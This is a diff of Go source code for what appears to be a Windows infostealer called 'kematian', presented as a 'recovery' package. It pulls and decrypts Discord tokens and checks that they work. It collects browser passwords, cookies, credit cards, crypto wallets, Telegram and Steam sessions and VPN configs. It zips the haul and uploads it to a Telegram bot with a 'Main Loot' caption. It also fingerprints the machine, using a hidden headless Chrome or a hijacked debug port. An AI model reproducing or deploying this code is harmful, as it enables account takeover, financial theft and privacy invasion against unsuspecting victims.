||||
entries, err := os.ReadDir(leveldb)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
exeName := discordExeNames[app.Dir]
|
||||
pids, _ := platform.FindProcesses(exeName)
|
||||
|
||||
var v10Key []byte
|
||||
keyOnce := sync.Once{}
|
||||
getKey := func() []byte {
|
||||
keyOnce.Do(func() { v10Key = discordV10Key(appDir) })
|
||||
return v10Key
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(e.Name()))
|
||||
if ext != ".log" && ext != ".ldb" {
|
||||
continue
|
||||
}
|
||||
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, m := range TokenRe.FindAll(data, -1) {
|
||||
tok := string(m)
|
||||
if _, dup := seen[tok]; !dup {
|
||||
seen[tok] = struct{}{}
|
||||
candidates = append(candidates, candidate{tok, app.Name})
|
||||
}
|
||||
}
|
||||
|
||||
for _, m := range EncRe.FindAll(data, -1) {
|
||||
raw := string(m)
|
||||
colonIdx := strings.Index(raw, ":")
|
||||
if colonIdx < 0 {
|
||||
continue
|
||||
}
|
||||
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
key := getKey()
|
||||
if key == nil {
|
||||
continue
|
||||
}
|
||||
tok := crypto.DecryptChromiumBlob(blob, key, nil)
|
||||
if tok == "" || !TokenRe.MatchString(tok) {
|
||||
continue
|
||||
}
|
||||
if _, dup := seen[tok]; !dup {
|
||||
seen[tok] = struct{}{}
|
||||
candidates = append(candidates, candidate{tok, app.Name})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(candidates) == 0 {
|
||||
logf("no candidate tokens found")
|
||||
return nil
|
||||
}
|
||||
logf("found %d candidate tokens", len(candidates))
|
||||
|
||||
valid := make([]bool, len(candidates))
|
||||
var wg sync.WaitGroup
|
||||
sem := make(chan struct{}, 6)
|
||||
for i, c := range candidates {
|
||||
wg.Add(1)
|
||||
go func(idx int, tok string) {
|
||||
defer wg.Done()
|
||||
sem <- struct{}{}
|
||||
valid[idx] = CheckToken(tok)
|
||||
<-sem
|
||||
}(i, c.token)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
var out []TokenResult
|
||||
for i, c := range candidates {
|
||||
if valid[i] {
|
||||
out = append(out, TokenResult{Token: c.token, Source: c.source})
|
||||
}
|
||||
}
|
||||
logf("%d/%d tokens validated", len(out), len(candidates))
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package discord
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[discord] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,228 @@
|
||||
package exfil
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"recovery/recovery"
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
type TelegramConfig struct {
|
||||
BotToken string
|
||||
ChatID string
|
||||
}
|
||||
|
||||
func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error {
|
||||
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken)
|
||||
|
||||
hostname, _ := os.Hostname()
|
||||
username := os.Getenv("USERNAME")
|
||||
if username == "" {
|
||||
username = os.Getenv("USER")
|
||||
}
|
||||
|
||||
ip := getExternalIP()
|
||||
|
||||
caption := fmt.Sprintf(`✨ New Log Received ✨
|
||||
|
||||
💻 User: %s@%s
|
||||
🌍 IP: %s
|
||||
|
||||
📊 Main Loot:
|
||||
🔑 Passwords: %d
|
||||
🍪 Cookies: %d
|
||||
💰 Wallets: %d
|
||||
|
||||
📦 Additional Data:
|
||||
💬 Messengers: %d
|
||||
🔐 Extensions: %d
|
||||
🔑 Keys: %d
|
||||
🎮 Gaming: %d
|
||||
🌐 VPNs: %d
|
||||
📁 Files: %d`,
|
||||
username, hostname, ip,
|
||||
counts["passwords"], counts["cookies"], counts["wallets"],
|
||||
counts["telegram"], counts["extensions"], counts["keys"],
|
||||
counts["gaming"], counts["vpns"], counts["files"])
|
||||
|
||||
var buf bytes.Buffer
|
||||
writer := multipart.NewWriter(&buf)
|
||||
|
||||
_ = writer.WriteField("chat_id", cfg.ChatID)
|
||||
_ = writer.WriteField("caption", caption)
|
||||
_ = writer.WriteField("parse_mode", "HTML")
|
||||
|
||||
part, err := writer.CreateFormFile("document", filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = part.Write(zipData)
|
||||
writer.Close()
|
||||
|
||||
req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", writer.FormDataContentType())
|
||||
|
||||
client := &http.Client{Timeout: 120 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getExternalIP() string {
|
||||
client := &http.Client{Timeout: 5 * time.Second}
|
||||
resp, err := client.Get("https://api.ipify.org")
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return strings.TrimSpace(string(body))
|
||||
}
|
||||
|
||||
func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) {
|
||||
opts := types.CollectOptions{
|
||||
Browsers: true,
|
||||
Passwords: true,
|
||||
Cookies: true,
|
||||
Autofill: true,
|
||||
History: true,
|
||||
Bookmarks: true,
|
||||
CreditCards: true,
|
||||
Discord: true,
|
||||
Files: true,
|
||||
Wallets: true,
|
||||
Telegram: true,
|
||||
Keys: true,
|
||||
Apps: true,
|
||||
Gaming: true,
|
||||
VPNs: true,
|
||||
}
|
||||
|
||||
tmpDir, err := os.MkdirTemp("", "kematian-*")
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer os.RemoveAll(tmpDir)
|
||||
|
||||
result, err := recovery.Collect(ctx, opts, nil)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("collection failed: %w", err)
|
||||
}
|
||||
|
||||
extensions := recovery.ScanExtensions()
|
||||
result.Extensions = extensions
|
||||
|
||||
counts := map[string]int{
|
||||
"passwords": len(result.Passwords),
|
||||
"cookies": len(result.Cookies),
|
||||
"wallets": len(result.Wallets),
|
||||
"telegram": len(result.Telegram),
|
||||
"extensions": len(result.Extensions),
|
||||
"keys": len(result.Keys),
|
||||
"gaming": 0,
|
||||
"vpns": 0,
|
||||
"files": len(result.Files),
|
||||
}
|
||||
|
||||
if result.Gaming != nil {
|
||||
if result.Gaming.Steam != nil {
|
||||
counts["gaming"]++
|
||||
}
|
||||
counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay)
|
||||
}
|
||||
if result.VPNs != nil {
|
||||
counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad)
|
||||
}
|
||||
|
||||
writeJSON := func(name string, data interface{}) error {
|
||||
jsonData, err := json.MarshalIndent(data, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644)
|
||||
}
|
||||
|
||||
_ = writeJSON("passwords", result.Passwords)
|
||||
_ = writeJSON("cookies", result.Cookies)
|
||||
_ = writeJSON("autofill", result.Autofill)
|
||||
_ = writeJSON("history", result.History)
|
||||
_ = writeJSON("bookmarks", result.Bookmarks)
|
||||
_ = writeJSON("credit_cards", result.CreditCards)
|
||||
_ = writeJSON("discord_tokens", result.DiscordTokens)
|
||||
_ = writeJSON("extensions", result.Extensions)
|
||||
_ = writeJSON("wallets", result.Wallets)
|
||||
_ = writeJSON("telegram", result.Telegram)
|
||||
_ = writeJSON("keys", result.Keys)
|
||||
_ = writeJSON("app_credentials", result.AppCredentials)
|
||||
_ = writeJSON("gaming", result.Gaming)
|
||||
_ = writeJSON("vpns", result.VPNs)
|
||||
_ = writeJSON("fingerprint", recovery.CollectFingerprint())
|
||||
_ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint())
|
||||
_ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)})
|
||||
|
||||
for _, wallet := range result.Wallets {
|
||||
if wallet.Path != "" {
|
||||
zipData, err := recovery.ZipDirectory(wallet.Path)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
walletZipPath := filepath.Join(tmpDir, fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name)))
|
||||
os.WriteFile(walletZipPath, zipData, 0644)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, tg := range result.Telegram {
|
||||
if tg.Path != "" {
|
||||
zipData, err := recovery.ZipTelegram(tg.Path)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
tgZipPath := filepath.Join(tmpDir, fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account)))
|
||||
os.WriteFile(tgZipPath, zipData, 0644)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result.Gaming != nil {
|
||||
if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" {
|
||||
zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
os.WriteFile(filepath.Join(tmpDir, "gaming_steam.zip"), zipData, 0644)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
zipData, err := ziputil.ZipDirectory(tmpDir)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
return zipData, counts, nil
|
||||
}
|
||||
|
||||
func sanitizeFilename(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
"/", "_", "\\", "_", ":", "_", "*", "_", "?", "_",
|
||||
"\"", "_", "<", "_", ">", "_", "|", "_", " ", "_",
|
||||
)
|
||||
return replacer.Replace(name)
|
||||
}
|
||||
@@ -0,0 +1,264 @@
|
||||
//go:build windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams {
|
||||
return p.WithAwaitPromise(true)
|
||||
}
|
||||
|
||||
const fingerprintJS = `(async () => {
|
||||
const out = {};
|
||||
try {
|
||||
const c = document.createElement("canvas");
|
||||
c.width = 220; c.height = 60;
|
||||
const x = c.getContext("2d");
|
||||
x.textBaseline = "top";
|
||||
x.font = "14px 'Arial'";
|
||||
x.fillStyle = "#f60";
|
||||
x.fillRect(0, 0, 220, 60);
|
||||
x.fillStyle = "#069";
|
||||
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2);
|
||||
x.fillStyle = "rgba(102, 204, 0, 0.7)";
|
||||
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17);
|
||||
x.fillStyle = "#f60";
|
||||
x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill();
|
||||
out.canvas = c.toDataURL();
|
||||
} catch (e) {}
|
||||
try {
|
||||
const gl = document.createElement("canvas").getContext("webgl");
|
||||
if (gl) {
|
||||
const ext = gl.getExtension("WEBGL_debug_renderer_info");
|
||||
out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER));
|
||||
out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR));
|
||||
out.webglVersion = String(gl.getParameter(gl.VERSION));
|
||||
const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"];
|
||||
const params = {};
|
||||
for (const k of keys) {
|
||||
try {
|
||||
let v = gl.getParameter(gl[k]);
|
||||
if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v);
|
||||
params[k] = v;
|
||||
} catch (e) {}
|
||||
}
|
||||
out.webglParams = params;
|
||||
const exts = gl.getSupportedExtensions();
|
||||
out.webglExtensions = exts ? exts.slice().sort() : [];
|
||||
}
|
||||
} catch (e) {}
|
||||
try {
|
||||
const ac = new OfflineAudioContext(1, 44100, 44100);
|
||||
const osc = ac.createOscillator();
|
||||
osc.type = "triangle";
|
||||
osc.frequency.value = 10000;
|
||||
const comp = ac.createDynamicsCompressor();
|
||||
comp.threshold.value = -50;
|
||||
comp.knee.value = 40;
|
||||
comp.ratio.value = 12;
|
||||
comp.attack.value = 0;
|
||||
comp.release.value = 0.25;
|
||||
osc.connect(comp);
|
||||
comp.connect(ac.destination);
|
||||
osc.start(0);
|
||||
const buf = await ac.startRendering();
|
||||
const data = buf.getChannelData(0);
|
||||
let sum = 0;
|
||||
for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]);
|
||||
out.audio = sum;
|
||||
} catch (e) {}
|
||||
return out;
|
||||
})()`
|
||||
|
||||
func CollectJS() *JSResult {
|
||||
res, err := collectJS()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
func collectJS() (*JSResult, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
if wsURL := findExistingDebugURL(); wsURL != "" {
|
||||
logf("found existing debug endpoint")
|
||||
if res, err := runRemote(ctx, wsURL); err == nil {
|
||||
return res, nil
|
||||
} else {
|
||||
logf("existing debug endpoint failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
chrome := browserExePath("Chrome")
|
||||
if chrome == "" {
|
||||
chrome = browserExePath("Edge")
|
||||
}
|
||||
if chrome == "" {
|
||||
return nil, fmt.Errorf("no Chromium browser found")
|
||||
}
|
||||
logf("spawning hidden Chromium: %s", chrome)
|
||||
res, err := runHidden(ctx, chrome)
|
||||
if err != nil {
|
||||
logf("hidden Chromium failed: %v", err)
|
||||
}
|
||||
return res, err
|
||||
}
|
||||
|
||||
func runRemote(ctx context.Context, wsURL string) (*JSResult, error) {
|
||||
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
|
||||
defer cancel()
|
||||
return evalJS(allocCtx)
|
||||
}
|
||||
|
||||
func runHidden(ctx context.Context, chromePath string) (*JSResult, error) {
|
||||
dataDir, err := os.MkdirTemp("", "kematian_fp_*")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("temp profile dir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(dataDir)
|
||||
|
||||
if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil {
|
||||
return res, nil
|
||||
} else {
|
||||
logf("GPU launch failed: %v; retrying with software rendering", err)
|
||||
}
|
||||
return runHiddenWith(ctx, chromePath, dataDir, false)
|
||||
}
|
||||
|
||||
func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) {
|
||||
args := []string{
|
||||
"--headless",
|
||||
"--no-sandbox",
|
||||
"--disable-dev-shm-usage",
|
||||
"--no-first-run",
|
||||
"--no-default-browser-check",
|
||||
"--disable-extensions",
|
||||
"--user-data-dir=" + dataDir,
|
||||
"--remote-debugging-port=0",
|
||||
"about:blank",
|
||||
}
|
||||
if gpu {
|
||||
args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox")
|
||||
} else {
|
||||
args = append(args, "--disable-gpu")
|
||||
}
|
||||
|
||||
cmd := exec.Command(chromePath, args...)
|
||||
cmd.Stdout = io.Discard
|
||||
cmd.Stderr = chromeLogWriter{}
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, fmt.Errorf("start chrome: %w", err)
|
||||
}
|
||||
defer func() { _ = cmd.Process.Kill() }()
|
||||
|
||||
wsURL, err := waitForDevTools(dataDir, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
|
||||
defer cancel()
|
||||
return evalJS(allocCtx)
|
||||
}
|
||||
|
||||
func waitForDevTools(dataDir string, timeout time.Duration) (string, error) {
|
||||
portFile := filepath.Join(dataDir, "DevToolsActivePort")
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
data, err := os.ReadFile(portFile)
|
||||
if err == nil {
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) >= 2 {
|
||||
port := strings.TrimSpace(lines[0])
|
||||
path := strings.TrimSpace(lines[1])
|
||||
if port != "" && path != "" {
|
||||
return "ws://127.0.0.1:" + port + path, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
return "", fmt.Errorf("chrome did not expose a DevTools port")
|
||||
}
|
||||
|
||||
type chromeLogWriter struct{}
|
||||
|
||||
func (chromeLogWriter) Write(p []byte) (int, error) {
|
||||
for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") {
|
||||
if line != "" {
|
||||
logf("chrome: %s", line)
|
||||
}
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func evalJS(allocCtx context.Context) (*JSResult, error) {
|
||||
cctx, cancel := chromedp.NewContext(allocCtx)
|
||||
defer cancel()
|
||||
|
||||
var out JSResult
|
||||
if err := chromedp.Run(cctx,
|
||||
chromedp.Navigate("about:blank"),
|
||||
chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise),
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func findExistingDebugURL() string {
|
||||
local := os.Getenv("LOCALAPPDATA")
|
||||
if local == "" {
|
||||
return ""
|
||||
}
|
||||
for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} {
|
||||
data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) < 2 {
|
||||
continue
|
||||
}
|
||||
port := strings.TrimSpace(lines[0])
|
||||
if port == "" {
|
||||
continue
|
||||
}
|
||||
if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" {
|
||||
return wsURL
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func debugWebSocketURL(port string) (string, error) {
|
||||
client := &http.Client{Timeout: 2 * time.Second}
|
||||
resp, err := client.Get("http://127.0.0.1:" + port + "/json/version")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var v struct {
|
||||
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&v); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return v.WebSocketDebuggerURL, nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
func CollectJS() *JSResult {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
func Collect() *Result {
|
||||
return &Result{}
|
||||
}
|
||||
@@ -0,0 +1,483 @@
|
||||
//go:build windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// ── Win32 API (raw syscalls) ──────────────────────────────────────
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||
|
||||
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||
procSystemParametersInfo = user32.NewProc("SystemParametersInfoW")
|
||||
procGetDC = user32.NewProc("GetDC")
|
||||
procReleaseDC = user32.NewProc("ReleaseDC")
|
||||
procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps")
|
||||
procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount")
|
||||
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
|
||||
procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName")
|
||||
procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation")
|
||||
)
|
||||
|
||||
type memoryStatusEx struct {
|
||||
Length uint32
|
||||
MemoryLoad uint32
|
||||
TotalPhys uint64
|
||||
AvailPhys uint64
|
||||
TotalPageFile uint64
|
||||
AvailPageFile uint64
|
||||
TotalVirtual uint64
|
||||
AvailVirtual uint64
|
||||
AvailExtendedVirtual uint64
|
||||
}
|
||||
|
||||
type systemTime struct {
|
||||
Year uint16
|
||||
Month uint16
|
||||
DayOfWeek uint16
|
||||
Day uint16
|
||||
Hour uint16
|
||||
Minute uint16
|
||||
Second uint16
|
||||
Milliseconds uint16
|
||||
}
|
||||
|
||||
type timeZoneInformation struct {
|
||||
Bias int32
|
||||
StandardName [32]uint16
|
||||
StandardDate systemTime
|
||||
StandardBias int32
|
||||
DaylightName [32]uint16
|
||||
DaylightDate systemTime
|
||||
DaylightBias int32
|
||||
}
|
||||
|
||||
type rect struct {
|
||||
Left int32
|
||||
Top int32
|
||||
Right int32
|
||||
Bottom int32
|
||||
}
|
||||
|
||||
// ── Collect ───────────────────────────────────────────────────────
|
||||
|
||||
func Collect() *Result {
|
||||
r := &Result{
|
||||
Platform: "Win32",
|
||||
OSArch: runtime.GOARCH,
|
||||
}
|
||||
|
||||
r.OS = osProductName()
|
||||
r.HardwareConcurrency = cpuCores()
|
||||
r.DeviceMemory = deviceMemoryGB()
|
||||
r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES
|
||||
r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN
|
||||
r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN
|
||||
|
||||
var work rect
|
||||
if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) {
|
||||
r.AvailWidth = int(work.Right - work.Left)
|
||||
r.AvailHeight = int(work.Bottom - work.Top)
|
||||
}
|
||||
|
||||
hdc, _, _ := procGetDC.Call(0)
|
||||
if hdc != 0 {
|
||||
r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL
|
||||
if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX
|
||||
r.DevicePixelRatio = float64(dpi) / 96.0
|
||||
}
|
||||
procReleaseDC.Call(0, hdc)
|
||||
}
|
||||
|
||||
r.Timezone, r.TimezoneOffset = timezoneInfo()
|
||||
r.Languages = languages()
|
||||
r.Fonts = fonts()
|
||||
r.GPU = gpuName()
|
||||
r.Browsers = installedBrowsers()
|
||||
r.UserAgent = userAgent(r.Browsers)
|
||||
r.LocalIPs = localIPs()
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func getSystemMetrics(index int) int {
|
||||
v, _, _ := procGetSystemMetrics.Call(uintptr(index))
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool {
|
||||
r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni))
|
||||
return r != 0
|
||||
}
|
||||
|
||||
func getDeviceCaps(hdc uintptr, index int) int {
|
||||
v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index))
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func cpuCores() int {
|
||||
v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS
|
||||
if v == 0 {
|
||||
return runtime.NumCPU()
|
||||
}
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func deviceMemoryGB() int {
|
||||
var ms memoryStatusEx
|
||||
ms.Length = uint32(unsafe.Sizeof(ms))
|
||||
r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
|
||||
if r == 0 {
|
||||
return 0
|
||||
}
|
||||
gb := int(ms.TotalPhys / (1 << 30))
|
||||
if gb > 8 {
|
||||
gb = 8 // navigator.deviceMemory is clamped to 8
|
||||
}
|
||||
return gb
|
||||
}
|
||||
|
||||
// ── OS ─────────────────────────────────────────────────────────────
|
||||
|
||||
func osProductName() string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return "Windows"
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
product, _, _ := k.GetStringValue("ProductName")
|
||||
build, _, _ := k.GetStringValue("CurrentBuildNumber")
|
||||
display, _, _ := k.GetStringValue("DisplayVersion")
|
||||
ubr, _, _ := k.GetStringValue("UBR")
|
||||
|
||||
name := product
|
||||
if name == "" {
|
||||
name = "Windows"
|
||||
}
|
||||
ver := display
|
||||
if ver == "" && build != "" {
|
||||
ver = build
|
||||
if ubr != "" {
|
||||
ver = build + "." + ubr
|
||||
}
|
||||
}
|
||||
if ver != "" {
|
||||
return name + " " + ver
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// ── Timezone ──────────────────────────────────────────────────────
|
||||
|
||||
// windowsToIANA maps common Windows timezone names to IANA identifiers.
|
||||
var windowsToIANA = map[string]string{
|
||||
"Eastern Standard Time": "America/New_York",
|
||||
"Central Standard Time": "America/Chicago",
|
||||
"Mountain Standard Time": "America/Denver",
|
||||
"Pacific Standard Time": "America/Los_Angeles",
|
||||
"Alaskan Standard Time": "America/Anchorage",
|
||||
"Hawaiian Standard Time": "Pacific/Honolulu",
|
||||
"Atlantic Standard Time": "America/Halifax",
|
||||
"Newfoundland Standard Time": "America/St_Johns",
|
||||
"GMT Standard Time": "Europe/London",
|
||||
"Greenwich Standard Time": "Atlantic/Reykjavik",
|
||||
"W. Europe Standard Time": "Europe/Berlin",
|
||||
"Central Europe Standard Time": "Europe/Budapest",
|
||||
"Romance Standard Time": "Europe/Paris",
|
||||
"Central European Standard Time": "Europe/Warsaw",
|
||||
"E. Europe Standard Time": "Europe/Chisinau",
|
||||
"Russian Standard Time": "Europe/Moscow",
|
||||
"Israel Standard Time": "Asia/Jerusalem",
|
||||
"China Standard Time": "Asia/Shanghai",
|
||||
"Tokyo Standard Time": "Asia/Tokyo",
|
||||
"Korea Standard Time": "Asia/Seoul",
|
||||
"Singapore Standard Time": "Asia/Singapore",
|
||||
"India Standard Time": "Asia/Kolkata",
|
||||
"AUS Eastern Standard Time": "Australia/Sydney",
|
||||
"New Zealand Standard Time": "Pacific/Auckland",
|
||||
"SA Pacific Standard Time": "America/Bogota",
|
||||
"Argentina Standard Time": "America/Argentina/Buenos_Aires",
|
||||
"E. South America Standard Time": "America/Sao_Paulo",
|
||||
}
|
||||
|
||||
func timezoneInfo() (string, int) {
|
||||
var tzi timeZoneInformation
|
||||
r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi)))
|
||||
if r == 0xFFFFFFFF {
|
||||
return "", 0
|
||||
}
|
||||
windowsName := syscall.UTF16ToString(tzi.StandardName[:])
|
||||
offset := -int(tzi.Bias)
|
||||
|
||||
iana := windowsToIANA[windowsName]
|
||||
if iana == "" {
|
||||
iana = windowsName
|
||||
}
|
||||
return iana, offset
|
||||
}
|
||||
|
||||
// ── Languages ─────────────────────────────────────────────────────
|
||||
|
||||
func languages() []string {
|
||||
var langs []string
|
||||
var buf [85]uint16
|
||||
r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if r > 0 && r <= uintptr(len(buf)) {
|
||||
locale := syscall.UTF16ToString(buf[:r])
|
||||
if locale != "" {
|
||||
langs = append(langs, locale)
|
||||
}
|
||||
}
|
||||
|
||||
if prefs := chromeAcceptLanguages(); prefs != "" {
|
||||
for _, l := range strings.Split(prefs, ",") {
|
